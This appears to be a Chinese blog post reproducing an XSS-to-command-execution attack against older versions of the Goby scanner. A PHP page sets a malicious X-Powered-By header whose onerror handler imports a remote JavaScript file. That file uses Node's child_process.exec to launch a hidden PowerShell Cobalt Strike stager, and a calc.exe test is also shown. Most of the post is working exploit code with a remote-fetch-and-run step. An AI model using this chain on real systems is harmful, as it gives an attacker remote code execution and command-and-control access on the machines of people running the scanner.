反制Goby扫描之XSS点击上线

最新推荐文章于 2024-05-15 14:12:13 发布

痴人说梦梦中人

最新推荐文章于 2024-05-15 14:12:13 发布

阅读量2.9k

点赞数

分类专栏：漏洞复现安全工具文章标签：网络安全渗透测试

本文链接：https://blog.csdn.net/qq_38963246/article/details/119711276

版权

漏洞复现同时被 2 个专栏收录

8 篇文章 0 订阅

订阅专栏

安全工具

6 篇文章 1 订阅

订阅专栏

在这里插入图片描述

反制Goby扫描之XSS点击上线

1.测试环境
2.XSS测试
3.CS上线

最近看到有大佬利用goby漏洞反制攻击者，特意复现下，原理就是通过XSS进行交互，调用Node.js函数exec执行命令，最新版本已经进行了修复，如果还在使用低版本还是尽快升级吧。

1.测试环境

CS4.3
goby-win-x64-1.8.255，Goby扫描器IP：192.168.0.195
phpstudy2016，http服务:http://192.168.0.198:81/index.php

2.XSS测试

修改http服务器的X-Powered-By，注意此处<img src=1 onerror=alert(1)> 标签中应该是tab，而非空格。

<?php
header("X-Powered-By: PHP/<img	src=1	οnerrοr=alert(1)>");
?>
<head>
<title>SEC TEST</title>
</head>
<body>
</body>
</html>

扫描之后结果如下：
在这里插入图片描述

点击即可触发XSS：
在这里插入图片描述

3.CS上线

利用require('child_process').exec()函数进行命令执行，在以上的基础上：
服务器端代码如下：

<?php
header("X-Powered-By: PHP/<img	src=1	οnerrοr=import(unescape('http%3A//192.168.0.198:81/js/1.js'))>");
?>
<head>
<title>SEC TEST</title>
</head>
<body>
</body>
</html>

1.js内容如下，执行内容为CS的powershell上线脚本：

(function(){
require('child_process').exec('powershell -nop -w hidden -encodedcommand JABXXXXXXXX......');
})();

在这里插入图片描述

可以先使用计算器进行测试。

(function(){require('child_process').exec('calc.exe');})();

在这里插入图片描述
踩坑：

js函数要设置void的话就无返回值，程序运行不起来的。
goby存在缓存，改动JS后建议删掉goby重新跑一遍。

痴人说梦梦中人

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
2
评论
反制Goby扫描之XSS点击上线

反制Goby之XSS点击上线1.测试环境2.XSS测试2.1 修改http服务器的`X-Powered-By`3.CS上线最近看到有大佬利用goby漏洞反制攻击者，特意复现下，原理就是通过XSS进行交互，调用Node.js函数exec执行命令，最新版本已经进行了修复，如果还在使用低版本还是尽快升级吧。1.测试环境goby-win-x64-1.8.255phpstudy2016CS4.32.XSS测试2.1 修改http服务器的X-Powered-By注意此处<img src=1 o
复制链接

扫一扫